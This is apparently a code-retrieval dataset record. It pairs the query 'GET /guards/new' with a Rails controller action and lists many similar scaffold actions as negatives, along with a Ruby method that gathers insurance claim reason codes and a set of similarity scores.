"def get_all_codes_for_entity(entity, is_crosswalked_codes_needed = nil)\n rcc_log.debug \"Generating codes for the output files such as A36, HREOB, 835 for claim type in Quadax\"\n rcc_log.debug \"Obtaining all the codes for the entity : #{entity} having id : #{entity.id}\"\n @entity = entity\n primary_reason_codes, primary_reason_code_descriptions = [], []\n all_reason_codes, all_reason_code_descriptions = [], []\n hipaa_codes, client_codes = [], []\n group_codes = []\n remark_codes = []\n cas_01_codes, cas_02_codes = [], []\n claim_status_codes, denied_claim_status_codes = [], []\n reporting_activities_1, reporting_activities_2 = [], []\n crosswalked_codes = {}\n if @entity.present? && @payer.present? && @client.present? && @facility.present?\n associated_codes_for_adjustment_elements = adjustment_reason_elements\n associated_codes_for_adjustment_elements.each do |adjustment_reason|\n crosswalked_codes_for_adj_reason = get_crosswalked_codes_for_adjustment_reason(adjustment_reason)\n if crosswalked_codes_for_adj_reason[:all_reason_codes].present?\n crosswalked_codes_for_adj_reason[:all_reason_codes].each do |rc_and_desc|\n if rc_and_desc.present?\n all_reason_codes << rc_and_desc[0] if rc_and_desc[0].present?\n all_reason_code_descriptions << rc_and_desc[1] if rc_and_desc[1].present?\n end\n end\n end\n if crosswalked_codes_for_adj_reason[:reason_code].present?\n primary_reason_codes << crosswalked_codes_for_adj_reason[:reason_code]\n else\n primary_reason_codes << all_reason_codes.first if all_reason_codes.present?\n end\n if crosswalked_codes_for_adj_reason[:reason_code_description].present?\n primary_reason_code_descriptions << crosswalked_codes_for_adj_reason[:reason_code_description]\n else\n primary_reason_code_descriptions << all_reason_code_descriptions.first if all_reason_code_descriptions.present?\n end\n if is_crosswalked_codes_needed.present?\n rcc_log.debug \"Also obtaining the crosswalked codes other than\n primary_reason_codes, primary_reason_code_descriptions,\n all_reason_codes, all_reason_code_descriptions\"\n hipaa_codes << crosswalked_codes_for_adj_reason[:hipaa_code] if crosswalked_codes_for_adj_reason[:hipaa_code].present?\n client_codes << crosswalked_codes_for_adj_reason[:client_code] if crosswalked_codes_for_adj_reason[:client_code].present?\n group_codes << crosswalked_codes_for_adj_reason[:group_code] if crosswalked_codes_for_adj_reason[:group_code].present?\n remark_codes << crosswalked_codes_for_adj_reason[:remark_codes] if crosswalked_codes_for_adj_reason[:remark_codes].present?\n cas_01_codes << crosswalked_codes_for_adj_reason[:cas_01] if crosswalked_codes_for_adj_reason[:cas_01].present?\n cas_02_codes << crosswalked_codes_for_adj_reason[:cas_02] if crosswalked_codes_for_adj_reason[:cas_02].present?\n claim_status_codes << crosswalked_codes_for_adj_reason[:claim_status_code] if crosswalked_codes_for_adj_reason[:claim_status_code].present?\n denied_claim_status_codes << crosswalked_codes_for_adj_reason[:denied_claim_status_code] if crosswalked_codes_for_adj_reason[:denied_claim_status_code].present?\n reporting_activities_1 << crosswalked_codes_for_adj_reason[:reporting_activity1] if crosswalked_codes_for_adj_reason[:reporting_activity1].present?\n reporting_activities_2 << crosswalked_codes_for_adj_reason[:reporting_activity2] if crosswalked_codes_for_adj_reason[:reporting_activity2].present?\n end\n end\n crosswalked_codes[:primary_reason_codes] = primary_reason_codes.compact.uniq\n crosswalked_codes[:primary_reason_code_descriptions] = primary_reason_code_descriptions.compact.uniq\n crosswalked_codes[:all_reason_codes] = all_reason_codes.compact.uniq\n crosswalked_codes[:all_reason_code_descriptions] = all_reason_code_descriptions.compact.uniq\n if is_crosswalked_codes_needed.present?\n crosswalked_codes[:hipaa_codes] = hipaa_codes.compact.uniq\n crosswalked_codes[:client_codes] = client_codes.compact.uniq\n crosswalked_codes[:group_codes] = group_codes.compact.uniq\n crosswalked_codes[:remark_codes] = remark_codes.flatten.compact.uniq\n crosswalked_codes[:cas_01_codes] = cas_01_codes.compact.uniq\n crosswalked_codes[:cas_02_codes] = cas_02_codes.compact.uniq\n crosswalked_codes[:claim_status_codes] = claim_status_codes.compact.uniq\n crosswalked_codes[:denied_claim_status_codes] = denied_claim_status_codes.compact.uniq\n crosswalked_codes[:reporting_activities_1] = reporting_activities_1.compact.uniq\n crosswalked_codes[:reporting_activities_2] = reporting_activities_2.compact.uniq\n end\n if crosswalked_codes.present?\n crosswalked_codes\n else\n rcc_log.debug \"crosswalked codes hash is empty\"\n end\n else\n rcc_log.error \"Client or Facility or Payer or Entity(InsurancePaymentEob or ServicePaymentEob object) is missing.\"\n end\n end"
] |
[
"0.5846858",
"0.5635316",
"0.55140984",
"0.5512021",
"0.54703",
"0.52831966",
"0.5269533",
"0.5269533",
"0.52375257",
"0.52201587",
"0.5207385",
"0.51988256",
"0.51130545",
"0.50949156",
"0.50364864",
"0.50364864",
"0.5022084",
"0.5016035",
"0.50055736",
"0.50055736",
"0.50055736",
"0.50050557",
"0.49858055",
"0.49823758",
"0.49793977",
"0.49702224",
"0.4967568",
"0.49478304",
"0.49060786",
"0.49012277",
"0.48869395",
"0.48869395",
"0.4873875",
"0.4873875",
"0.4873875",
"0.4873875",
"0.48678458",
"0.4858121",
"0.48399764",
"0.48306158",
"0.48195988",
"0.48194692",
"0.481843",
"0.48140082",
"0.48140082",
"0.4813392",
"0.4813392",
"0.4813392",
"0.4813392",
"0.48039335",
"0.47934967",
"0.4774702",
"0.47686303",
"0.47686303",
"0.47672668",
"0.4766242",
"0.4766242",
"0.47595486",
"0.47304407",
"0.47163138",
"0.47122216",
"0.47078034",
"0.4703562",
"0.47033203",
"0.47033203",
"0.47020882",
"0.47020882",
"0.47020882",
"0.47020882",
"0.47020882",
"0.47020882",
"0.47020882",
"0.47020882",
"0.46999",
"0.46996674",
"0.46951246",
"0.46915594",
"0.4688199",
"0.46867108",
"0.46808714",
"0.4678018",
"0.4678018",
"0.467647",
"0.46712995",
"0.46605814",
"0.46540096",
"0.46471754",
"0.4643851",
"0.46437904",
"0.46372426",
"0.46357825",
"0.46351892",
"0.46306002",
"0.4630274",
"0.4624621",
"0.46237755",
"0.46223494",
"0.460905",
"0.4607326",
"0.46028233",
"0.4599985"
] |
0.0
|
-1
|
GET /guards/1 GET /guards/1.xml
|
def show
@guard = Guard.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @guard }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @guardian = Guardian.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @guardian }\n end\n end",
"def show\n @guide = Guide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @guide }\n end\n end",
"def show\n @reward_profile = RewardProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reward_profile }\n end\n end",
"def index\n @guides = Guide.all\n #@guide = Guide.find(params[:guide]) rescue nil\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @guides }\n end\n end",
"def show\n @compliance = Compliance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @compliance }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @compliance }\n end\n end",
"def show\n @handbook = Handbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @handbook }\n end\n end",
"def index\n @guardians = Guardian.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @guardians }\n end\n end",
"def show\n @bearing = Bearing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bearing }\n end\n end",
"def show\n @ability_score = AbilityScore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ability_score }\n end\n end",
"def index\n @compliances = Compliance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compliances }\n end\n end",
"def index\n @compliances = Compliance.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compliances }\n end\n end",
"def show\n @quirk = Quirk.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @quirk }\n end\n end",
"def show\n @ambiance = Ambiance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ambiance }\n end\n end",
"def abilities\n get('/ability/')\n end",
"def show\n @account = current_account\n @my_badges = current_account.my_badges\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def show\n @check = Check.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @check }\n end\n end",
"def show\n @achievement = Achievement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @achievement }\n end\n end",
"def show\n @check = Check.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @check }\n end\n end",
"def show\n #@calendar = Calendar.find(params[:calendar_id])\n #@reward = @calendar.rewards.find(params[:id])\n\t\t#@rewards = Reward.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reward }\n end\n end",
"def show\n @authorization = Authorization.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @authorization }\n end\n end",
"def show\n @giving_group = GivingGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @giving_group }\n end\n end",
"def show\n @checklist = Checklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @checklist }\n end\n end",
"def show\n\t\t@award = Award.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @award }\n\t\tend\n\tend",
"def show\n @good = Good.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @good }\n end\n end",
"def index\n @my_badges = current_account.my_badges \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_my_badges }\n end\n end",
"def show\n @examination_kind = ExaminationKind.find(params[:id])\n respond_to do |format|\n format.xml { render :xml => @examination_kind }\n end\n end",
"def show\n @gear = Gear.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gear }\n end\n end",
"def show\n @whitelist = Whitelist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @whitelist }\n end\n end",
"def new\n @guard = Guard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guard }\n end\n end",
"def index\n @achievements = Achievement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @achievements }\n end\n end",
"def show\n\t\t@ward = Ward.find(params[:id])\n \trespond_to do |format|\n \t\t format.html # show.html.erb\n \t\t\tformat.xml { render :xml => @wards }\t#Render to XML File\n \tend\n\tend",
"def show\n @bank_card = BankCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bank_card }\n end\n end",
"def show\n @richard = Richard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @richard }\n end\n end",
"def index\n @checks = Check.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @checks }\n end\n end",
"def show\n @buddy = Buddy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @buddy }\n end\n end",
"def show\n @helocagree = Helocagree.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @helocagree }\n end\n end",
"def show\n @question = Question.find(params[:id])\n check_forged_path\n\n respond_to do |format|\n format.html # show.rhtml\n format.json { render :json => @question.to_json }\n format.xml { render :xml => @question.to_xml(:methods => [:purpose]) }\n end\n end",
"def show\n\t\t@check = Check.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @check }\n\t\tend\n\tend",
"def index\n @lifeguards = Lifeguard.all\n end",
"def show\n\t\t@bank = Bank.find(params[:id])\n \trespond_to do |format|\t\t\n \t\t format.html \n \t\t\tformat.xml { render :xml => @banks }\t\t#Render to XML File\n \tend\n\tend",
"def show\n @recommand = Recommand.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @recommand }\n end\n end",
"def index\n @giving_groups = GivingGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @giving_groups }\n end\n end",
"def show\n @burger = Burger.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @burger }\n end\n end",
"def show\n @competence_group = CompetenceGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @competence_group }\n end\n end",
"def show\n @unlock = Unlock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @unlock }\n end\n end",
"def get_xml(url, options = {})\n\t\t\tresponse = get_file(url, options)\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\n\n elsif (doc%'achievements')\n\t\t\t return doc\n\t\t\telsif (doc%'dungeons')\n\t\t\t\treturn doc\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend",
"def show\n @guarantor = Guarantor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @guarantor }\n end\n end",
"def show\n @assistance_list = AssistanceList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assistance_list }\n end\n end",
"def show\n @game_races = GameRaces.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @game_races }\n end\n end",
"def show\n @threat = Threat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @threat }\n end\n end",
"def index\n @compares = @chapter.compares\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compares }\n end\n end",
"def index\n check_authorization\n #@badges = Badge.find(:all, :conditions => [\"organization_id = ? and segment_id = ?\", @organization.id, @segment.id ] )\n @badges = Badge.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @badges }\n end\n end",
"def show\n @guess = Guess.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @guess }\n end\n end",
"def show\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @goal }\n end\n end",
"def index\n @group = @authorized_group\n @candidates = @group.candidates\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @candidates }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def index\n @handbooks = Handbook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @handbooks }\n end\n end",
"def show\n @expectation = RiGse::Expectation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expectation }\n end\n end",
"def show\n @groups_happening = GroupsHappening.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @groups_happening }\n end\n end",
"def index\n\t\t@calendar = Calendar.first(:conditions => {:fam_id => @user.fam_id})\n\t\t@rewards = @calendar.rewards\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rewards }\n end\n end",
"def show\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"def show\n @encounter_enemy = EncounterEnemy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @encounter_enemy }\n end\n end",
"def index\n @api_v1_rewards = Api::V1::Reward.all\n end",
"def show\n respond_to do |format|\n format.html\n format.xml { render xml: @gadget_file.html }\n end\n end",
"def show\n @boss = Boss.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @boss }\n end\n end",
"def show\n @gallion = Gallion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gallion }\n end\n end",
"def show\n @home_check = HomeCheck.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @home_check }\n end\n end",
"def show\n @bonus = Bonus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bonus }\n end\n end",
"def show\n @jido_guardian_rel = JidoGuardianRel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @jido_guardian_rel }\n end\n end",
"def show\n @bookfair = Bookfair.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookfair }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @game.to_xml }\n end\n end",
"def index\n @accessories = Accessory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accessories }\n end\n end",
"def index\n @blacklists = Blacklist.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blacklists }\n end\n end",
"def show\n @badge = Badge.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @badge }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def show\n @game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def show\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @quest }\n end\n end",
"def show\n @visarequest = Visarequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @visarequest }\n end\n end",
"def show\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bcard }\n end\n end",
"def show\n #@game = Game.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def show\n @black = Black.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @black }\n end\n end",
"def show\n @league = League.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @league }\n end\n end",
"def show\n @league = League.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @league }\n end\n end",
"def show\n @league = League.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @league }\n end\n end",
"def show\n @league = League.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @league }\n end\n end",
"def index\n @card = @deck.cards.find(:first, :order => 'RAND()')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cards }\n end\n end",
"def show\n @combat = Combat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @combat }\n end\n end",
"def show\n @balance = Balance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @balance }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def index\n @jido_guardian_rels = JidoGuardianRel.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jido_guardian_rels }\n end\n end",
"def show\n @assessment = Assessment.find(params[:id])\n \n if @assessment \n if check_blacklisting(@assessment.id)\n deny_authorization\n return\n elsif !@assessment.published && !check_ownership(@assessment.id)\n deny_authorization\n return\n end \n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assessment }\n end\n end",
"def show\n @group = @authorized_group\n @candidate = @authorized_candidate\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @candidate }\n end\n end",
"def show\n @cattle_id = CattleId.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cattle_id }\n end\n end",
"def show\n @wardmaster = Wardmaster.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wardmaster }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @evil_wizard }\n end\n end",
"def new\n @handbook = Handbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @handbook }\n end\n end"
] |
[
"0.5788277",
"0.57758784",
"0.57613766",
"0.57572806",
"0.57301974",
"0.56725246",
"0.5670936",
"0.5670066",
"0.5657093",
"0.5628463",
"0.5618517",
"0.5616494",
"0.559104",
"0.5576799",
"0.556168",
"0.55555737",
"0.5518697",
"0.5512807",
"0.55050904",
"0.55013466",
"0.54935366",
"0.54832643",
"0.5482177",
"0.54773384",
"0.5470866",
"0.54589456",
"0.5457474",
"0.54526806",
"0.5449983",
"0.5448195",
"0.5442248",
"0.54166204",
"0.53967124",
"0.5390983",
"0.53861797",
"0.538469",
"0.53829587",
"0.5378061",
"0.5364093",
"0.536385",
"0.53559107",
"0.5342767",
"0.53404677",
"0.5340221",
"0.5339676",
"0.533928",
"0.5337484",
"0.5330447",
"0.53270245",
"0.53214264",
"0.53091574",
"0.53052366",
"0.5304468",
"0.5304093",
"0.5303149",
"0.5302804",
"0.52999216",
"0.5292498",
"0.527574",
"0.52729577",
"0.52722865",
"0.5271392",
"0.5269902",
"0.5265187",
"0.526005",
"0.5259677",
"0.5257233",
"0.5255527",
"0.5252997",
"0.5252589",
"0.5252452",
"0.5252415",
"0.52471906",
"0.5242352",
"0.52383864",
"0.5235366",
"0.5235366",
"0.5235085",
"0.5234678",
"0.523102",
"0.52200896",
"0.5216823",
"0.5211907",
"0.5211907",
"0.5211907",
"0.5211907",
"0.52117664",
"0.5208311",
"0.5202124",
"0.5200689",
"0.5200689",
"0.5200689",
"0.5199792",
"0.51978827",
"0.5195792",
"0.51923764",
"0.51920044",
"0.51899546",
"0.51898",
"0.51896894"
] |
0.60650074
|
0
|
GET /guards/new GET /guards/new.xml
|
def new
@guard = Guard.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @guard }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compliance }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"def new\n @bearing = Bearing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bearing }\n end\n end",
"def new\n @check = Check.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @check }\n end\n end",
"def new\n @whitelist = Whitelist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @whitelist }\n end\n end",
"def new\n @check = Check.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @check }\n end\n end",
"def new\n @buddy = Buddy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @buddy }\n end\n end",
"def new\n @reward_profile = RewardProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reward_profile }\n end\n end",
"def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @good }\n end\n end",
"def new\n @handbook = Handbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @handbook }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @guide = Guide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guide }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @screw = Screw.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @screw }\n end\n end",
"def new\n @threat = Threat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @threat }\n end\n end",
"def new\n @accessory = Accessory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @accessory }\n end\n end",
"def new\n @accessory = Accessory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @accessory }\n end\n end",
"def new\n @goal = Mg::Goal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goal }\n end\n end",
"def new\n @gear = Gear.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gear }\n end\n end",
"def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @holder }\n end\n end",
"def new\n @scratch = Scratch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scratch }\n end\n end",
"def new\n @guess = Guess.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guess }\n end\n end",
"def new\n @giving_group = GivingGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @giving_group }\n end\n end",
"def new\n @bank_card = BankCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bank_card }\n end\n end",
"def new\n \n # Authenticaiton part.\n \n new_objects\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gadget }\n end\n end",
"def new\n @quest = Quest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quest }\n end\n end",
"def new\n @boss = Boss.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @boss }\n end\n end",
"def new\n @richard = Richard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @richard }\n end\n end",
"def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end",
"def new\n @gift = Gift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gift }\n end\n end",
"def new\n @ratgrade = Ratgrade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ratgrade }\n end\n end",
"def new\n @card_punch = CardPunch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @card_punch }\n end\n end",
"def new\n @brother = Brother.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brother }\n end\n end",
"def new\n @cap = Cap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cap }\n end\n end",
"def new\n @cap = Cap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cap }\n end\n end",
"def new\n @balance = Balance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @balance }\n end\n end",
"def new\n @rink = Rink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rink }\n end\n end",
"def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @blacklist = Blacklist.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @blacklist }\n end\n end",
"def new\n @checklist = Checklist.new\n @studentID = session[:userID]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @checklist }\n end\n end",
"def new\n @bookfair = Bookfair.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookfair }\n end\n end",
"def new\n @rant = Rant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rant }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrow }\n end\n end",
"def new\n @ability_score = AbilityScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ability_score }\n end\n end",
"def new\n @provision = Provision.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provision }\n end\n end",
"def new\n @simthing = Simthing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simthing }\n end\n end",
"def new\n @rawness = Rawness.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rawness }\n end\n end",
"def new\n \t@account = Account.new\n\t@navkey = \"account_new\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
